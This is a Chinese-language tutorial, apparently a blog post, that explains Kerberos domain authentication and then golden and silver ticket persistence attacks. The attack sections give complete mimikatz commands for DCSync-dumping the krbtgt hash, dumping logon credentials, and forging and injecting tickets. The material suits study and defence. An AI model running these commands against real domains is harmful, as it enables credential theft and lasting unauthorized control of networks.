拿下域的最高权限后,通常会想要对域进行更持久的控制
为此我们可以学习一下票据攻击
为了更深入理解票据攻击的原理,我们需要先搞清楚kerberos协议的认证过程
kerberos协议:
简单来说,kerberos是域认证的协议,其中包括了client、server和domain controler(域控)三个成员。而域控又分为AS和TGS。
当server加入域时,server和domain controler都有了server hash,而client没有。
而域控AS和TGS都有krbtgt hash。
当client发起登录的时候,也就是client有了user hash,且作为登录的认证方,域控也有user hash。
认证过程分为六步,大致如下:
1、AS_REQ。Client对AS发起请求
2、AS_REP。AS响应client的请求。此响应用user hash加密。
且AS_REP这个包中还有用AS产生的随机数进行加密的内容。
当client密码(user hash)正确时,则可进行解密。
解密可以获得AS的随机数,和用krbtgt hash加密的ticket,ticket中也有随机数。
3、TGS_REQ。client解密获得随机数,然后用随机数加密client信息,然后将加密信息和ticket一起发送给TGS。
4、TGS_REP。TGS先用krbtgt hash解密获得随机数。然后用随机数解密加密数据包,获得client信息。确认无误后,TGS会用server hash加密可以访问server的票据。
5、AP_REQ。Client获得server票据后,发送请求至server。
6、AP_REP。Server用server hash解密该请求,确认其中的信息和client一致。
至此,整个认证流程完成。Client和server开始进行通信。
ps:上述流程未提及时间戳等信息,更加完整的认证流程请移步查看https://www.jianshu.com/p/3c40824c77ec
另外,值得一提的是,当用户远程登录到server时,client指的是server的进程,而不是用户的client机器。上述过程中server根本没有拿到密码,而用户登录了哪台server,攻击者就能在哪台server上抓到密码,是因为上述的client本身就是server的进程。
黄金票据
原理:
由于第四步中TGS先用krbtgt hash先解密ticket包,获得随机数,再用随机数解密client的请求包。当攻击者可获得krbtgt hash时,则可略过1和2的步骤,直接从第3步开始进行后续步骤。由于krbtgt的密码一般是不更改的,若可以获得其hash,则可长期对该域进行控制。
具体操作:
获得krbtgt hash,域控下执行:
mimikatz “lsadump::dcsync /domain:dctest.com /user:krbtgt” exit > golden.txt
除了该命令外,还有很多其他命令也可以获得krbtgt hash,此处不一一说明。
域成员机器执行:
mimikatz “kerberos::golden /domain:dctest.com /sid:域SID /rc4:KRBTGT HASH /user:administrator /ptt” exit
白银票据
原理:
与黄金票据类似,白银票据也是绕过了认证步骤的。在第5步client发送请求至server后,server用server hash进行解密。当攻击者可以获得server hash时,则可伪造请求。
具体操作:
在要维持权限的机器上执行,获得server hash:
mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit > hash.txt
将票据注入到内存中:
mimikatz “kerberos::golden /domain:dctest.com /sid:S-1-5-21-861884364-2039668745-1225090050 /target:win-mdngs11hljt.dctest.com /service:cifs /rc4:serverhash /user:administrator /ptt” exit
总结
简单来说,需要通过域去更方便的管控大量的机器。为此,server和client之间的认证必须通过域控介入,变成了三方的认证。三方认证中,域控有鉴别是否为合法的hash。拿下域控获得hash后,攻击者则可以通过模拟认证过程伪造真正的凭证,从而达到绕过认证的效果。